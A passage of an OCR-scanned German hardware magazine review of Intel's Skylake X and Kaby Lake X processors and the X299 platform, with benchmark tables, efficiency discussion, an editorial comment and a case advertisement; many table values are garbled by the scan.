rere Ringbusse, sondern durch 
ein Daten-Mesh verbunden. Das 
schließt auch die Caches, die Spei- 
cher- und die I/O-Controller mit 
ein. Um das Mesh zu steuern, hat 
Intel im 10-Kern-Die des Skylake X 
zwei Speicher-Knoten integriert. 


Laut Intel wurde dies mit dem 
Schritt zu immer mehr Kernen in 
einem einzelnen Die nótig, hat- 
te doch bereits der Vorgänger 
Broadwell EX verschiedene, un- 
tereinander abermals verschach- 
telte Ringbusse benótigt und die 
Servervariante Skylake-EP soll ja 
bis über 28 Kerne skalieren. Das 
Mesh, eine Gitterstruktur, wird von 
den Daten auf dem schnellstmógli- 
chen Weg durchquert, ist aber an 
horizontale und vertikale Pfade ge- 
bunden, bei denen in jedem Kern 
eine ,Haltestelle* (die erwáhnten 
Speicherknoten) ist. Das kann bei 


sehr vielen Kernen die Datenwege 
verkürzen und so Zeit und Energie 
sparen, gleichzeitig aber die Latenz 
etwas schwieriger vorhersagbar 
machen und damit die Perfor- 
mance stärker schwanken lassen. 
Wie insbesondere auch unsere Pro- 
MHzBenchmarks in der Tabelle 
auf der vorigen Doppelseite ver- 
deutlichen, scheint dieser „Sweet- 
Spot“, also der Punkt, ab dem das 
Mesh eine Verbesserung gegen- 
über dem Ringbus-System bringt, 
bei acht und auch bei 10 Kernen 
noch nicht erreicht zu sein. Hier 
zahlt Intel den Preis für seine aus 
dem Server-Segment herunterge- 
brochene High-End-Desktop-Platt- 
formen: Bei den Xeons kann man 
sich im Data-Center-Bereich keine 
zwei verschiedenen Architekturen 
innerhalb einer einzigen Generati- 
on erlauben. 


DDR4-RAM: 2667 GT/s ohne 
Wenn und Aber 

Positiver stellt sich die Situation 
beim Arbeitsspeicher dar. Nach 
DDR4-2400 mit Broadwell-E und 
Kaby Lake geht man nun mit DDR4- 
2667 den náchsten logischen Schritt 
- ohne Beschränkungen der RAM- 


Dragon Age: Inquisition mit EA Frostbite Engine 


GOTY-Rollenspiel: The Witcher 3 


„Hinterlands” (720p, kein AA/AF/min. Post-Processing) 


Intel Core i7-7740X (4,34. GHz — 4c/8t) Tas ШЕШШ 147,6 (+7 %) 
i9-7900X , unlocked" (3,3+ GHz - 10c/20t) RE 146,1 (+6 96) 
Intel Core i7-5775C (3,34. GHz – 4с/81) Ente s 138,9 (+0 %) 
Intel Core i7-6950X (3,0+ GHz – 10c/20t) Eau 138,3 (Basis) 
Intel Core i7-7700K (4,2+ GHz – 4c/8t) Eu p 137,7 (-0 96) 
i9-7900X ,140W" (3,3+ GHz - 10020) BEE 135,8 (-2 %) 
Intel Core i7-6900K (3,2+ GHz — 8c/16t) mg Es 135,6 (-2 96) 
Intel Core i7-6800K (3,4+ GHz — 6с/121) EX ЕЕН 131,0 (5 96) 
Intel Core i7-5960X (3,0+ GHz – 8c/16t) Xo ЕНЕ 130,0 (-6 96) 
Intel Core i7-5820K (3,3+ GHz – 6с/121) Ege [eu 128,6 (7 %) 
AMD Ryzen 7 1800X (3,6+ GHz — 8с/161) Egg ШЕШШ 114,4 (17 %) 
AMD Ryzen 5 1600X (3,6+ GHz — 6с/121) Egg ШЕШ 113,4 (-18 %) 
Intel Core i7-4790K (4,0- GHz — 4c/8t) Xo s 112,8 (-18 96) 
Intel Core i5-7600K (3,8- GHz – 4c/4t) gs ШЕШ 111,2 (20 96) 
AMD Ryzen 7 1700 (3,0+ GHz — 8c/16t) XXe ШЕШШ 104,3 (-25 %) 
Intel Core i7-3770K (3,5+ GHz – 4с/81) gs 102,7 (26 %) 
Intel Core i5-7400 (3,0+ GHz – Ac/4t) Ego ЕШШ 97,0 (-30 96) 
Intel Core i7-990X (3,5+ GHz — 60/121) Ee 92,4 (-33 96) 


Intel Core i7-2600K (3,4+ GHz — 4c/8t) 
Intel Core i5-3570K (3,44- GHz – 4c/At) 
Intel Core i5-4690K (3,5+ GHz – 4c/At) 
AMD FX-9590 (4,7+ GHz – 4m/8t 
Intel Core i5-2500K (3,3+ GHz – 4c/At) 


pan 89,3 (-35 96) 
ES 6,1 (-38 96) 
pom 85,4 (-38 %) 
pnm 0, (-42 96) 
pog 73,1 (-47 96) 


„Hierarch Square" (720p, kein AA/AF/min. Post-Processing/Hairworks aus) 


i9-7900X , unlocked" (3,3+ GHz - 1020) Tani 145,9 (+8 96) 

Intel Core i7-7740X (4,34 GHz – 4c/8t) 140,2 (+4 %) 

Intel Core i7-6900K (3,2+ GHz – 8c/16t) Eg 134,7 (+0 96) 
Intel Core i7-6950X (3,0+ GHz – 10c/20t) uaaə28!lü 134,6 (Basis) 
i9-7900X ,140W" (3,3+ GHz - 1020) ER 133,1 (-1 OAI 

Intel Core i7-5775C (3,34- GHz — 4c/8t) E 131,1 (-3 96) 

Intel Core i7-7700K (4,2- GHz — 4c/8t) ag? 125,5 (-7 96) 

Intel Core i7-5960X (3,0+ GHz — 8с/161) agit 123,5 (-8 96) 
Intel Core i7-6800K (3,4+ GHz — 6c/12t) XX T 118,3 (-12 96) 
Intel Core i7-5820K (3,3+ GHz – 6c/12t) [Xo t 115,0 (-15 96) 
AMD Ryzen 7 1800X (3,6+ GHz — 816) st? 109,9 (-18 90) 
Intel Core i7-4790K (4,0+ GHz – 4c/8t) gg] 104,6 (-22 96) 
AMD Ryzen 5 1600X (3,6+ GHz — 6с/121) EN 104,0 (-23 96) 
AMD Ryzen 7 1700 (3,0+ GHz – 8c/16t) [sg] 101,6 (-25 90) 

Intel Core i7-3770K (3,5+ GHz – 4с/81) Egg 95,1 (-29 96) 
EE 5 (-30 %) 
pg 84,3 (-37 %) 
pg? 84,2 (-37 96) 
sil 82,1 (39 %) 

AMD FX-9590 (4,7+ GHz – Am/8t) elt 81,0 (-40 %) 

Intel Core i5-4690K (3,5+ GHz — 4c/4t) Es 79,9 (-41 96) 
Intel Core i5-3570K (3,4+ GHz – Ac/4t) Eat 75,7 (-44 96) 
AMD FX-8300 (3,3+ GHz — 4т/81) ШОД 70,5 (-48 96) 


Intel Core i5-7600K (3,8+ GHz — 4c/4t) 
Intel Core i7-2600K (3,4+ GHz — 4c/8t) 

Intel Core i5-7400 (3,0+ GHz — 4c/4t) 
Intel Core i7-990X (3,5+ GHz - 6c/12t) 


Intel Core 17-920 (2,7+ GHz - 4c/8t 
AMD FX-8300 (3,3+ GHz — 4m/8t 
AMD Phen. Il X6 1100T (3,34- GHz — 6c/6t) 


Esau 66,5 (-52 90) 
ПИЗ 65,4 (53 96) 
pnm 56,9 (-59 %) 


Intel Core i5-2500K (3,3+ GHz — Ac/4t) ISRIEIIOGIŠIçIIIƏIAIIxIS,2 (-53 96) 
Intel Core i7-920 (2,7- GHz — 4c/8t) ISR ZGIIƏIINIGGGGHIÓóI* 60,8 (-55 96) 
AMD Phen. Il X6 1100T (3,3+ GHz — 6c/6t) at! 49,3 (-63 %) 


System: Intel X299/X99, 2170/797/277, AMD X370/990FX,8 GiB pro Speicherkanal 
(Geschw. jeweils laut max. CPU-Spez.), GF GTX 980 Ti @ 1.380/3.900 MHz; Win10 64 Bit 
Bemerkungen: Alle Spiele-Tests in 1.280 x 720 (16:9) um GPU-Limit zu minimieren. 


Mimil 2 Fps 


> Besser 


System: Intel Х299/Х99, 7170/297/277, AMD X370/990FX,8 GiB pro Speicherkanal 


(Geschw. jeweils laut тах. CPU-Spez.), GF GTX 980 Ti @ 1.380/3.900 MHz; Win 10 64 Bit Mini 2 Fps 


> Besser 


Bemerkungen: Alle Spiele-Tests in 1.280 x 720 (16:9) um GPU-Limit zu minimieren. 
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Bànke oder Absenken der Spec bei 
Dual-Rank-Aufbau, wie es AMD für 
Ryzen vorsieht. Gerade Kaby Lake X 
kann vom rund 11 Prozent flotteren 
Speicher wohl stärker profitieren 
als von seinem um gerade einmal 
2 Prozent höheren Kerntakt gegen- 
über dem Vorgänger. 


2x Core i9-7900X? 

Vielleicht wundern Sie sich, dass 
in unseren Benchmarks der Core 
i9-7900X zweimal auftaucht. Das 
liegt an der arg unterschiedlichen 
Interpretation der TDP seitens der 
Mainboard-Hersteller und dem Fakt, 
dass die CPU bei bestimmten Lasten 
auch bei Werkstakt ihre nominelle 
Leistungsaufnahme von 140 Watt 
zu überschreiten geneigt ist. Tradi- 
tionell erreichen die Redaktion zum 
Launch lediglich sehr gut ausgestat- 
tete Overclocker-Boards - und eines 
dieser Muster hat die Intel-Spezifi- 
kation aus der Tabelle auf der Ein- 
gangsseite des Artikels zu wörtlich 
genommen: All-Core-Turbo 4,0 GHz 
- ohne sich dabei um die Leistungs- 
aufnahme zu scheren. 


Da der Sockel 2066 sich mit seinen 
ungelockten CPUs prinzipiell an 
Übertakter richtet, haben wir uns 
dazu entschieden, diese Ergebnisse 
zusätzlich zu den regulären, inner- 
halb der 140-Watt-Grenze erzielten, 
mit einzubeziehen. Zumal Käufer 
des MSI X299 Gaming Pro Carbon 
AC mit der UEFI-Version 0501 selbst 
beim Deaktivieren des „Enhanced 
Turbo“ diese Werte als Standard vor- 
gesetzt bekommen - für Übertakter 
vielleicht sogar ein Bonus-Feature. 
Bei intensiver Nutzung der AVX2- 
Einheiten haben wir eine Leistungs- 
aufnahme gemessen, welche die 
200-Watt-Grenze allein für den Pro- 
zessor deutlich überschritt. Beim 
eingesetzten High-End-Luftkühler 
NH-D15 von Noctua war damit auch 
fast die Leistungsgrenze im auf 26 
°C klimatisierten, sommerlichen 
Offenaufbau im PCGH-Lab erreicht 
- im Gehäuse wäre es knapp gewor- 
den. Mit dem für den Standard-Test 
verwendeten Asus Rog Strix X299-E 
Gaming trat dieses Verhalten nicht 
auf, der Prozessor drosselte jedoch 
etwa im y-Cruncher-Test seinen 
Takt unter den All-Core-Turbo von 
der 4 auf 3,6 GHz, um die 140 Watt 
TDP einhalten zu können. 


Intel konnte uns bezüglich des ge- 
wünschten Standard-Verhaltens des 
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i9-7900X auf Anfrage nicht weiter- 
helfen - vergleichbare Xeon-Prozes- 
soren weisen einen separaten, nied- 
rigeren Basis- und Turbotakt für 
AVX2-Lasten auf und auch im UEFI 
der MSI- und Asus-Boards finden 
sich entsprechende Einstellungen. 
Die bereits vom Broadwell E be- 
kannte Taktsenkung soll standard- 
mäßig auf „O“ - also keiner Redu- 
zierung - stehen und lediglich bei 
Bedarf für bessere Übertaktungser- 
folge sorgen. 


Effizienz thematisieren 

Wie Sie anhand des oben beschrie- 
benen TDP-Dilemmas bereits er- 
ahnen, steht es mit der Energie- 
effizienz des Skylake X in Form 
des i9-7900X nicht zum Besten. In 
unseren Tests liegt sie fast durch- 
weg hinter der des Vorgängers, 
was natürlich auch durch dessen 
deutlich niedrigeren Takt begüns- 
tigt wird. Dass die X299-Plattform 
und unser Asus-Mainboard daran 
keine Schuld tragen, zeigt das sehr 
gute (Effizienz)Abschneiden des i7- 
7740X, der selbst im Leerlauf nicht 
mehr Strom verbraucht als sein 
Kollege auf der Sockel-1150-Main- 
stream-Plattform und in Sachen Ga- 
ming-Effizienz eine neue Bestmarke 
aufstellt. In Anwendungen ist nach 
wie vor der i7-6950X das Effizienz- 
Mafš der Dinge. 


Noten-Anpassung 

Da der 19-7900Х trotz der ange- 
brachten Kritik an Launch-Umstän- 
den, UEFI-Spielereien und hohem 
Stromverbrauch im normierten und 
mit 60:40 zugunsten der Spiele ge- 
wichteten Leistungsindex die Best- 
marke von 100 Prozent besetzt, ha- 
ben sich auch die Bewertungen der 
langsameren Prozessoren von Intel 
wie von AMD entsprechend ver- 
schlechtert. Den Einkaufsführer auf 
Seite 121 konnten wir aus Zeitgrün- 
den (dieser Artikel wurde sprich- 
wörtlich in letzter Minute fertig- 
gestellt) noch nicht entsprechend 
anpassen. Dasselbe gilt leider auch 
für den CPU-Index auf der Startseite 
der Prozessorenrubrik (S. 55) - Sie 
können beide jedoch als Vorher- 
nachher-Vergleich nutzen. 


Mit großer Auflösung ... 

Abschließend und in aller Kürze 
noch ein Wort zur Testmethodik: 
Unsere Tests führen wir bewusst 
in der niedrigen 720p-Auflösung 
durch, um ein Grafiklimit zu mi- 


nimieren - stellen Sie es sich als 
Simulationsversuch einer unend- 
lich schnellen Grafikkarte vor. Was 
diese 720p-Tests nicht können, ist, 
die Anforderungen künftiger Spie- 
le und Engines vorwegzunehmen 
und abzubilden. Praxisnähere Tests 
in höheren Auflösungen führen wir 
- wie bei den Frametime-Diagram- 
men auf Seite 10 - von Zeit zu Zeit 
zusätzlich zu diesen Standardtests 
durch. (cs) 


Fazit Hardware 


Intels Core-X-Serie für Sockel 2066 
Einmal mehr liefert Intel die schnellsten 
CPUs für den Heimnutzer. Nur müssten 
Spieler und Anwender jetzt eigentlich 
zu verschiedenen Modellen auf der- 
selben Plattform greifen. Die sehr hohe 
Leistungsaufnahme des Core 19-7900 
trübt das Bild ein wenig — Intel ist 
durch AMDs Ryzen definitiv außerhalb 
der Komfortzone und das merkt man. 


Skylake X mit monolithischem Die 


Während AMD auf den CCX-Verbund via Infinity Fabric setzt, nutzt Intel beim 
SKL-X einen einzelnen Die — mit Vor- und Nachteilen. Große, rechenstarke Chips 
sind teuer, bieten potenziell aber auch eine bessere Leistung. Das gelingt dem 
i9-7900X im Vergleich zu Ryzen zwar, aber um den Preis eines deutlich höheren 
Stromverbrauchs und einer kaum noch besseren Effizienz. 


L Prozessorkern (x86 +AVX-512 ) 
E Speicher-Controller 


E Speicherschnittstelle (2x 3-Kanal DDR4 + ECC) 
E PCI-Express-Ports 


Intel wirkt gehörig unter Druck 


Ich habe selten einen solchen Launch bei Intel erlebt 

wie diesen. Das fing bei der Vorbereitung an: Es 

gab für deutsche Medien lange so gut wie keine 
Vorabinformationen, nicht einmal zur Ankündigung 

auf der Computex. Zwar konnte sich PCGH wie gesagt 

Vorabmuster beschaffen, die jedoch nicht für Tests 

freigegeben waren — und in Verbindung mit Bugs in frü- 1 
hen UEFIs auch den Verdacht schürten, dass mit ihnen ( ёш. \.. 


etwas nicht stimmte. Doch dass die offiziellen Testexem- 


Carsten Spille 


plare von Intel dann schlieBlich erst zwei Tage nach 

dem Ablauf des NDAs eintrafen, ist für einen Weltkonzern schwach. Der deutliche 
Zeitvorsprung, mit dem US-amerikanische Kollegen ihre Muster mit erhielten, ist da 
nur noch das Tüpfelchen auf dem i. Ich kann mir das nur so erkláren, dass AMD Intel 
mit Ryzen stärker unter Druck setzen konnte, als es zunächst den Anschein hatte. 
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Anwendungsleistung Sockel-2066-Prozessoren 


Prozessormodell 3DM Fire Cinebench 7-Zip Lightroom Blender Blender x264 UHD- y-Cruncher y-Cruncher 
Strike Physik | R15 (Punkte | (Sekunden) 5.7.1 2.76 2.78 VC14 Transcoding 0.6.9.9462 0.7.2.9468 
(Punkte) ST/MT) (Sekunden) | (Sekunden) | (Sekunden) | (Sekunden) | (Sekunden) | (Sekunden) 
Core 19-7900Х , unlocked" 24654 198/2.216 102 84 109 74 46,1 Gre 45,9 
Core i9-7900X „140W" 24094 194/2.105 105 87 98 78 48,7 62,9 50,7 
Intel Core i7-6950X 21.430 166/1.805 120 90 117 89 61,3 69,5 59,3 
Intel Core i7-6900K 9.232 167/1.483 126 93 143 106 71,7 74,6 66,1 
AMD Ryzen 7 1800X 9.312 163/1.639 184 105 140 108 64,3 108,7 90,7 
Intel Core i7-5960X 6.203 139/1.329 135 108 161 = 80,6 81,2 = 
AMD Ryzen 7 1700X 18.246 155/1.557 191 111 149 113 67,5 13,4 94,2 
AMD Ryzen 7 1700 16.798 148/1.426 203 tU 161 123 en 24.5 101 
Intel Core i7-6800K 5.644 156/1.114 170 111 186 = 96,3 07,7 - 
Ryzen 5 1600X ANB 163/1.244 229 111 181 139 84,2 46,5 119,3 
Intel Core i7-7740X 14.733 197/996 198 114 199 148 91,1 94,4 85,6 
Intel Core i7-5820K 3.589 142/1.022 168 119 203 = 103,9 10,4 = 
Intel Core i7-7700K 14.240 195/974 204 118 205 154 93m 98,5 89,7 
Ryzen 5 1600 5.853 149/1.149 236 118 196 149 90,1 158,2 128,8 
Intel Core i7-4790K 1.924 175/857 197 132 231 = 121,6 127,8 - 
Intel Core i7-5775C 12.278 155/787 195 133 257 = 125,4 139,3 = 
Intel Core i7-990X 12.349 108/822 232 157 243 = 138,9 322,2 = 
Ryzen 5 1500X 12.185 156/818 283 123 266 201 126,2 208,9 171,4 
Intel Core i5-7600K 9.013 182/676 256 129 332 226 125,8 129,7 113,5 
AMD FX-9590 8.407 113/727 208 146 415 = 138,4 256,4 = 
Intel Core i7-3770K 9.926 142/679 217 154 316 = 163,3 291,5 = 
Ryzen 5 1400 10.875 137/706 321 148 303 233 141,8 23518) 193,1 
Intel Core i5-7500 8.101 157/610 215 142 361 251 139,4 143,4 124,6 
Intel Core i5-4690K 7.482 155/565 288 150 368 = 162,6 168,3 = 
Intel Core i7-2600K 8.971 134/619 253 175 351 - 190,5 316,8 = 
Intel Core 15-3570К 6.953 134/524 285 159 431 = 199,0 348,3 = 
AMD ЕХ-8300 6.638 97/530 237 177 560 = 182,6 326,8 = 
AMD Phenom II X6 1100T 7.066 95/498 334 206 443 = 226,0 424,5 = 


Prozessor 
PCGH-Preisvergleich 
Preis/Preis-Leistungs-Verhältnis 


PROZESSOREN 


Auszug aus Testtabelle 
mit vielen weiteren Wertungskriterien 


Intel Core i7-6950X 
www.pcgh.de/preis/1394456 


Intel Core i7-7740X 
www.pcgh.de/preis/1632798 


AMD Ryzen 7 1800X 
www.pcgh.de/preis/1582191 


Ca. 1.000 €/, mangelhaft" (5) 


Ca. 1.540 €/, knapp mangelhaft" (5-) 


Ca. 375 EI. ausreichend" (4) 


Ca. 475 €/, knapp ausreichend" (4-) 


Für Mainboards mit Sockel ... Sockel 2066 LGA 2011-v3 Sockel 2066 AMA (Sockel 1331) 
Codename Skylake X Broadwell E Kaby Lake X Summit Ridge 

Anzahl Kerne/Module, Uncore-/L3-Takt 6 (12), 24 GHz 10 (20), 2,8 GHz 6 (12), wie Speicher-/Kerntakt 8 (16), wie Speicher-/Kerntakt 
Basistakt (Turbo für alle und einen Kern) 3,3 GHz (4,0-4,5 GHz) 3,0 GHz (bis 3,2-4,0 GHz) 3,2 GHz (3,2-3,45 GHz) 3,6 GHz (3,7-4,1 GHz) 


L1-Cache (Daten/Befehle, je Kern/Modul) 


32 KiByte/64 KiByte 


32 KiByte/32 KiByte 


32 KiByte/64 KiByte 


32 KiByte/64 KiByte 


L2-Cache (je Kern/Modul)/LLC (gesamt) 


1.024 KiByte/13,75 MiByte 


256 KiByte/25 MiByte 


512 KiByte/8 MiByte 


512 KiByte/16 MiByte 


Transistoren, Fertigung, Die-Size 
Ausstattung (20 % der Endnote) 
Grafikeinheit 


unbekannt., 14 nm, unbekannt 
2,13 
Nicht vorhanden 


3.400 Millionen, 14 nm, 246 mm2 
2,23 
Nicht vorhanden 


4,8 Mrd., 14 nm, unbekannt 
2,29 
Deaktiviert 


4,8 Mrd., 14 nm, unbekannt 
2,14 
Nicht vorhanden 


* Setzt Unterstützung durch das Mainboard voraus **Angabe dient nur der Information, gewertet wird die Effizienz über alle Spiele und Anwendungen. 


Befehlssätze und Erweiterungen (Auswahl) 


SSE bis 4.2, AVX bis 512F, AES, FMA3 


SSE bis 4.2, AVX bis 2, AES, FMA3 


SSE bis 4.2, AVX bis 2, AES, FMA3 


SSE bis 4.2, AVX bis 2, AES, FMA3 


Integrierte PCI-Express-Lanes 
Eigenschaften (20 % der Endnote) 
Offener Multiplikator* 


44x PCI-Express 3.0 
1,73 
Ja (bis 83) 


40x PCI-Express 3.0 
2,35 
Ja (bis 80) 


16x PCI-Express 3.0 
1,40 
Ja (bis 83) 


20x PCI-Express 3.0 (+4 für I/O-Hub) 
179 
Ja (bis 63,75) 


Übertaktung per Referenztakt?* 


Ja 


Ja 


Ja 


Ja 


Speicherkanále (u. max. Geschwindigkeit*/* *) 


4x DDR4-2667 (kein ECC) 


4 x DDR4-2400 (kein ECC) 


2x DDR4-2667 (kein ECC) 


2x DDR4-2667 SR/-2400 DR 


FAZIT 


© Höchste x86-Performance bislang 
© Modernisierte Plattform 


© Teuer, weniger effizient als Vorgänger 


© Sehr effizient in Anwendungen 


© Noch teurer als sein Nachfolger 


TDP laut Hersteller** 140 Watt 140 Watt 112 Watt 95 Watt 
Systemverbrauch Leerlauf abzüglich Grafikkarte |31 Watt 50 Watt 18 Watt 28 Watt 
Systemverbrauch (Anno/C3/TW3)** 233/396/318 Watt 239/370/304 Watt 221/315/295 Watt 224/326/281 Watt 
Systemverbrauch Spiele (Durchschnitt)** 294 Watt 288 Watt 269 Watt 264 Watt 
Systemverbrauch Anwendungen (Durchschnitt)** |231 Watt 184 Watt 148 Watt 182 Watt 
Leistung (60 % der Endnote) 1,17 1,28 1,67 1,98 
Spieleindex (60 % der Leistungsnote) 93,4 % 96,1 % 100 % 71,2 % 
Anwendungsindex (40 % дег Leistungsnote) 100 % 89 % 59,8 % 75,8 % 


© Extrem effizient (evtl.sample-bedingt) © Sehr gute Leistungswerte 
© Leistungsrückstand in Spielen minimal © Immer noch sehr hohe Spieleleistung © Stromsparender als i9-7900X 
© Auf X299-Boards etwas fehl am Platze © Vergleichsweise günstig 


Wertung: 1,47 
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Wertung: 1,69 


Wertung: 1,74. 


Wertung: 1,97 
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PURE BASE 600 


Ein außergewöhnliches, besonders vielseitiges und hochwertiges Gehäuse und 
das auch noch zu einem äußerst attraktiven Preis? Das be quiet! Pure Base 
600 Window setzt mit einer Menge Funktionalität und bedienungsfreundlichen 
Features neue Maßstäbe in Bezug auf Flexibilität, Performance und – 
natürlich — den flüsterleisen Betrieb. 


1 Hoch flexible Konstruktion 
a Wasserkühlungsoptimiert 
= Zwei vorinstallierte Pure Wings 2 Lüfter 
1 Seitenfenster aus getóntem Temperglas 


Für mehr Informationen besuchen Sie bequiet.com. 


Erháltlich bei: alternate.de - arlt.de - bora-computer.de - caseking.de 
computeruniverse.net - conrad.de · hiq24.de - e-tec.at - galaxus.ch · mindfactory.de 
notebooksbilliger.de · reichelt.de 
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SPECIAL | Skylake-X-Mainboards 


N: Kaby Lake X, Skylake X 
und dem LGA 2066 hat Intel 


jüngst auch den X299-PCH vorge- 
stellt. Alles zusammen ergibt die 
„Basin Falls“-Plattform, die nicht 
zuletzt dank der sehr unterschied- 
lichen Prozessoren so unübersicht- 
lich ist wie keine andere zuvor. 
Aber der Reihe nach. 


Der intern Sockel R4 genannte 
LGA 2066 steht schon dem Namen 
nach in der Tradition seines Vor- 
gängers 2011-v3 alias R3. Nur ein 
paar Kontakte unterscheiden die 
beiden physisch voneinander und 
neu platzierte Kodierungsnasen 
verhindern das Einsetzen alter, in- 
kompatibler CPUs. Schon seit dem 
Sockel R1 (originaler 2011) unver- 
ändert übernommen wurden der 
Verschlussmechanismus mit zwei 
Hebeln und die wahlweise in Front- 
oder Backplate integrierte Kühler- 
halterung. Das heifst: Alle Sockel- 
2011-kompatiblen Kühler passen 
problemlos auf den Sockel 2066. 


Ein Neukauf ist nur nótig, wenn die 
Abwärme der neuen CPU die Leis- 
tung des alten Kühlers übersteigt. 


Ebenfalls an den Sockel 2011, nicht 
aber an den 2011-v3, erinnert das 
SpannungswandlerKonzept von 
Basin Falls. Genau wie im Main- 
stream-Bereich beim Wechsel von 
Sockel 1150 auf 1151 (H3 auf H4) 
verabschiedet sich Intel auch bei 
Skylake X von den gerade erst in 
der Haswell- und Broadwell-Gene- 
ration eingeführten, voll integrier- 
ten Spannungswandler (FIVR). 


Aufgabe dieser im CPU-Package 
sitzenden Bauteile war die Gene- 
rierung passender Versorgungs- 
spannungen für verschiedene Pro- 
zessorteile, ausgehend von einer 
allgemeinen 1,8-Volt-Stromzufuhr. 
Die dabei entstehende Abwärme 
belastete zwar den Prozessorküh- 
ler zusätzlich, dafür fielen aber 
die Spannungswandler auf den 
Mainboards einfacher aus und ihre 
Qualität hatte dank CPU-interner 
Nachregelung weniger Einfluss auf 
Stabilität und Übertaktung. Kaby 
Lake X und Skylake X verlagern die 
komplexe Feinregulierung wieder 
zurück auf das Mainboard, gleich- 
zeitig steigern die angekündigten 
Core-i9-Spitzenmodelle die 
Leistungsanforderun- 
gen insgesamt. Die 
Mainboard- 


Hersteller reagieren auf diese dop- 
pelte Herausforderung unter an- 
derem mit einer reduzierten Zahl 
von Erweiterungsslots: Quasi alle 
X299-Platinen schaffen an der obe- 
ren Mainboard-Kante zusätzlichen 
Platz für die Spannungswandler, 
indem sie den Sockel sowie Spei- 
cherslots ein paar Zentimeter nach 
unten verschieben und auf eine 
Nutzung der obersten ATX-Slotöff- 
nung verzichten. Ausgenommen 
sind nur ein paar Luxusmodelle, 
die den neuen Anforderungen mit 
kompakter, aber entsprechend teu- 
rer Technik gegenübertreten. 


Wie auf den vorangegangenen Sei- 
ten erklärt, teilen sich Intels neue 
Prozessoren in drei Gruppen: Kaby 
Lake X mit 16 PCI-Express-3.0-Lanes 
und Dual-Channel-Speicherinter- 
face, Skylake-X-Core-i7-Modelle mit 
28 Lanes und Quad Channel sowie 
die Skylake-X-Core-i9-Spitzen-CPUs 
mit 44 Lanes. Nie zuvor beherberg- 
te ein Sockel derart unterschiedlich 
ausgestattete Prozessoren, auch 
wenn die Hälfte davon noch nicht 
verfügbar oder aufgrund mangeln- 
der Vorteile gegenüber den Sockel- 
1151-Angeboten uninteressant ist: 
Die Mainboard-Situation ist so un- 
übersichtlich wie lange nicht mehr. 


Insbesondere Kaby-Lake-X-Käufer 
müssen darauf achten, welche 
Mainboard-Funktionen mit den 
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Mittelklasse-CPUs überhaupt funk- 
tionieren. Von den typischerweise 
acht RAM-Slots bleibt beispielswei- 
se die Hälfte inaktiv; alle bislang 
in der Redaktion eingetroffenen 
Modelle erkennen Speichermodu- 
le nur in den Steckplätzen rechts 
des CPU-Sockels. Weniger einheit- 
lich ist die Kennzeichnung dieser 
Einschränkung, zum Teil verweist 
ein und dieselbe Bezeichnung in 
Abhängigkeit von der CPU auf ver- 
schiedene Slots! 


Noch schwerwiegender sind die 
PCI-Express-Limitierungen, denn 
im Fokus der Mainboard-Entwick- 
lung stehen natürlich die 44-Lane- 
CPUs. Oft werden deswegen bei ei- 
nem Kaby-Lake-X-Einsatz nicht nur 
zahlreiche Erweiterungsslots still- 
gelegt, sondern es fehlen sogar vom 
Sockel 1151 gewohnte Standards. 
Intel beschneidet die kleinsten 
Sockel-2066-CPUs nämlich nicht 
einfach um die letzten 28 Lanes der 
Topmodelle. Stattdessen folgt nach 
den ersten acht Lanes eine Lücke 
an den Ports #8 bis #15 vor einem 
zweiten aktiven 8er-Block. 


Das klingt nach Wortklauberei, 
denn es bleiben natürlich insge- 
samt 16 Lanes. In der Praxis wird 
aber der erste für Grafikkarten be- 
stimmte Slot (PEG) immer mit den 
ersten 16 Kontaktbereichen des So- 
ckel 2066 verknüpft, die nächsten 
16 meist einheitlich mit dem zwei- 
ten PEG. Bei einer 44-Lane-CPU 
ergibt sich ein Multi-GPU-Betrieb 
mit x16/x16, bei 28-Lane-Core-i7 
x16/x8. Im Falle von Kaby Lake 
X ist Hälfte der mit dem ersten 
PEG verbundenen Sockel-Pins 
aber inaktiv - das System ar- 
beitet dauerhaft mit x8/x8 
und es gibt gar keinen х16- 
Slot für volle Single-GPU- 
Performance! Einige 
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Mainboards umgehen dieses Prob- 
lem durch aufwendiges Rerouting, 
lassen sich das aber natürlich auch 
bezahlen. Andere Platinen ignorie- 
ren Kaby Lake X beinahe komplett 
und optimieren sogar das Routing 
der PCI-Express-Ports 17 und höher 
für 28- und 44-Lane-Prozessoren - 
so ist gegebenenfalls nicht einmal 
x8/x8, sondern nur x8/x4 möglich. 


Skylake X hat nach Versorgung der 
ersten beiden PEGs hingegen noch 
ein paar Lanes übrig, die nahezu alle 
Mainboards in weitere Steckplätze 
investieren. Die typischen Konfigu- 
rationen für den Sockel 2066 lauten 
somit x16/x16/x8/x4 für 44-Laner, 
x16/x8/x0/x4 für 28-Laner (oft 
nicht auf x8/x8/x8/x4 umleitbar) 
und x8/x0/x8/x0 für 16-Lane-Pro- 
zessoren. Über die CPU angebun- 
dene M.2- oder U.2-Anschlüsse für 
SSDs sind dagegen selten. 


Daran dürfte auch der I/O-Hub 
seinen Anteil haben. Intels neuer 
X299-PCH basiert auf dem glei- 
chen Union-Point-Silizium wie die 
Sockel-1151-Modelle B250, H270 
und Z270 und verfügt somit über 
zahlreiche weitere PCI-Express-3.0- 
Lanes, zum Beispiel für SSDs. Kon- 
kret unterscheiden sich Z270 und 
X299 nur durch die SATA-Tauglich- 
keit für zwei weitere HSIO-Ports 
bei letzterem. Das heißt, von ins- 
gesamt 24 PCI-Express-3.0-fähigen 
Anschlüssen können jetzt acht 
statt sechs für SATA umgewidmet 
werden. Weitere vier beherrschen 
USB 3.0 als Alternativfunktion, zu- 
sätzlich zu sechs reinen USB-3.0- 
Anschlüssen. Während Z270-Main- 
boards die USB-/PCI-E-HSIO-Ports 
bevorzugt im PCI-Express-Modus 
betreiben, legen die bislang vor- 
gestellten X299-Platinen den 
Schwerpunkt fast durchgängig 
auf USB 3.0 - kein Wunder, PCI- 
Express-Slots gibt es dank der CPU 
auch so schon genug. Eine typische 
X299-Konfiguration verfügt dem- 
nach über zehn USB-3.0-Anschlüsse 
(meist vier intern, sechs extern), 
acht SATA-Ports und zusätzlich zu 
den 16, 28 oder 44 CPU-Lanes über 
weitere 16 vom PCH. 


Investiert werden diese in mindes- 
tens einen, oft zwei USB-3.1-Cont- 
roller (zu je zwei Lanes), denn im 
Gegensatz zu AMDs AM4-I/O-Hubs 
unterstützt Intel den neuesten USB- 
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Standard weiterhin nicht nativ. Ein 
weiterer Pflicht-Zusatzcontroller 
ist die Netzwerkanbindung, wobei 
die X299-Generation hier neue 
Wege geht: Beinahe jeder Herstel- 
ler bietet ein Modell mit 5- oder 
10-GBit-Controller anstelle des 
